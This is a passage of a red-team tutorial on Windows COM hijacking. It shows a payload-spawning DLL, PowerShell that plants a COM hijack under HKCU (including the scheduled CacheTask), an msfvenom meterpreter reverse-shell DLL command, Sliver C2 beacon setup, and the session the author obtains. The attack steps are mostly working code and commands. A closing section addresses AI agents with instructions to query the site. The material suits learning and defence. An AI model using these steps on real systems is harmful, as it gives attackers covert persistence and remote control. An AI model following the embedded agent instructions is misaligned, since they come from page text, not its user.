        if (CreateProcessA(NULL, applicationName, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
        {
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
            return 0; // success
        }
        return 1; // failure to launch process
    }
    return 0; // payload already running, so nothing to do
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        if (!IsPayloadRunning()) // Spawn payload only if not already running
        {
            HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
            if (hThread)
            {
                CloseHandle(hThread); // Close thread handle as we don't need it
            }
        }
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

We can build the solution using Visual Studio. Once the DLL is created, we can add the registry key and verify it as follows, using the same name and settings for the threading model.

```powershell
$clsid = '{317D06E8-5F24-433D-BDF7-79CE68D8ABC2}'
$path = "HKCU:\Software\Classes\CLSID\$clsid\InProcServer32"
$payload = "C:\Users\ippyokai\Desktop\COM\ippyokai.dll"

# Create key and set payload
New-Item -Path $path -Force | Out-Null
Set-ItemProperty -Path $path -Name '(Default)' -Value $payload
Set-ItemProperty -Path $path -Name 'ThreadingModel' -Value 'Both'

Write-Host "[+] COM hijack registered under HKCU for CLSID $clsid"

# Verification using reg query
$regPath = "HKCU\Software\Classes\CLSID\$clsid\InProcServer32"
Write-Host "[*] Verifying registry entry:"
cmd /c "reg query `"$regPath`""
```

&#x20;  we can see it's added successfully&#x20;

<figure><img src="/files/bj6f5pbObn7yzPNKuIbN" alt=""><figcaption><p>reg edit</p></figcaption></figure>

Visit anything that uses image encoding, such as opening an image or going to the desktop where there are some image icons. Reboot the system; it will spawn the calculator, and the system works normally. We successfully hijacked the COM object without any problems using DLL proxying.

While just browsing an image folder, `calc.exe` popped up.

<figure><img src="/files/WUKKVjHwEu6MGm0e99Sa" alt=""><figcaption><p>calc popped up</p></figcaption></figure>

It's more relevant to target something used by a web browser so that you can embed shell code on it. Or a task manager thing, but I will leave that for next time after learning a bit about Defender evasion.

### <mark style="color:blue;">Scheduled Task & COM objects</mark>

in this section we will target Scheduled Task specifc COMs. to enumerate them there is  a great tool [ScheduledTaskComHandler.ps1](https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1) created by [Matt Nelson](https://twitter.com/enigma0x3) and [Matthew Graeber](https://twitter.com/mattifestation) .

**Why is this important?**\
Because Scheduled Tasks start without any user interaction and can execute automatically every time the system boots. This ensures we maintain persistent access to a compromised machine. They run silently in the background, so some tasks can be hijacked without generating much noise.

We can enumerate locations where we can hijack COM objects that **do not require system or admin privileges**, making it possible to achieve user-level persistence

```powershell
. .\Get-ScheduledTaskComHandler
Get-ScheduledTaskComHandler -PersistenceLocations
```

<figure><img src="/files/qRkoOlv43vZTZDrXFzhr" alt=""><figcaption><p>Task COM's</p></figcaption></figure>

we can spot `CacheTask` : This task is responsible for maintaining the **Internet cache** (Temporary Internet Files) and keeping it optimized. It's part of Internet Explorer / legacy networking components.

it's associated with the following CLSID `{0358B920-0AC7-461F-98F4-58E32CD89148}` that  load `wininet.dll`&#x20;

<figure><img src="/files/34k4ajfxNPpNiHVHW8Pd" alt=""><figcaption><p>CacheTask</p></figcaption></figure>

We can verify the DLL entry since I haven't added this task enumeration to my tool yet. I will add everything in the end.

<figure><img src="/files/fx26ofMxO6xJ7aR1DXQ5" alt=""><figcaption></figcaption></figure>

The same previous method can be used since we can see that it is pointing directly to HKLM, so we can hijack it from HKCU.

<figure><img src="/files/EvyMprLkOhNrZrikPqjg" alt=""><figcaption><p>Reg</p></figcaption></figure>

This time, I will generate a simple `msfvenom` DLL, as it won’t break anything on the system. However, we can still apply the same technique as before using DLL proxying — this is just for the sake of the demo.

```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.136.138 LHOST=8443 -f dll -o Rabbit.dll
```

Using Silver C2

```
profiles new beacon --mtls 192.168.136.138:443 --format shellcode com-lab-beacon
stage-listener -u tcp://192.168.136.138:8443 -p com-lab-beacon
mtls -L 192.168.136.138 -l 443
```

Now, we can modify the registry again.

```powershell
# CLSID of Wininet Cache Task Object
$clsid = '{0358B920-0AC7-461F-98F4-58E32CD89148}'

# Registry path in HKCU
$regPath = "HKCU:\Software\Classes\CLSID\$clsid\InProcServer32"

# Payload DLL
$payload = "C:\Users\ippyokai\Desktop\COM\Rabbit.dll"

# Create the registry key and set values
New-Item -Path $regPath -Force | Out-Null
Set-ItemProperty -Path $regPath -Name '(Default)' -Value $payload
Set-ItemProperty -Path $regPath -Name 'ThreadingModel' -Value 'Both'

Write-Host "[+] COM hijack placed in HKCU for CLSID $clsid"
Write-Host "[*] Verifying..."

# Query to verify values were set
reg query "HKCU\Software\Classes\CLSID\$clsid\InProcServer32"
```

<figure><img src="/files/h7cHXGH8qRMk4CShDywO" alt=""><figcaption><p>relogin with any user</p></figcaption></figure>

When you log out or restart the machine and log in with any user, the `CacheTask` will be executed automatically. We received the call from the stagger to send the rest of the payload, and we have obtained a session using Sliver C2.

<figure><img src="/files/tAZPgovMxTRkJYjxCztR" alt=""><figcaption><p>Sliver C2</p></figcaption></figure>

Clean up: Now we can delete the backdoor as follows.

```powershell
$clsid = '{0358B920-0AC7-461F-98F4-58E32CD89148}'
$path = "HKCU:\Software\Classes\CLSID\$clsid"

if (Test-Path $path) {
    Remove-Item -Path $path -Recurse -Force
    Write-Host "[+] COM hijack removed from HKCU for CLSID $clsid"
} else {
    Write-Host "[-] No COM hijack found under HKCU for CLSID $clsid"
}
```

## <mark style="color:red;">**Conclusion**</mark>

COM abuse techniques offer a wide range of powerful opportunities for persistence and exploitation. While this overview provides a solid introduction, there is much more to explore and master for advanced learning and practical application.

The tool that I have been developing through this process can be found at: [ComDumper](https://github.com/Abdelhadi963/ComDumper)

## <mark style="color:red;">References & Thanks</mark>

I would like to acknowledge and thank the authors and contributors of the following outstanding resources and blogs that greatly helped deepen my understanding of COM abuse techniques and persistence:

* Fakroud, Mohamed. *Playing Around COM Objects - Part 1*. Red Teaming Dojo.\
  <https://mohamed-fakroud.gitbook.io/red-teamings-dojo/windows-internals/playing-around-com-objects-part-1>
* DerbyCon 2019 Presentation: *COM Hijacking Techniques*. Slideshare.\
  <https://www.slideshare.net/slideshow/com-hijacking-techniques-derbycon-2019/169871173>
* SpecterOps Team. *Revisiting COM Hijacking*. SpecterOps Blog, May 28, 2025.\
  <https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/>
* PentestLab Team. *Persistence: COM Hijacking*. PentestLab Blog, May 20, 2020.\
  <https://pentestlab.blog/2020/05/20/persistence-com-hijacking/>

These resources provided valuable insights, technical details, and practical examples that were instrumental in shaping this learning journey.

Sorry for any misunderstanding of the COM concept. If you have any questions, clarifications, or suggestions, feel free to reach out to me on Discord: **kyuki0\_1** aka **0xRabbit**.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://yokaiswikie.gitbook.io/com-object-enumeration/com-object.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
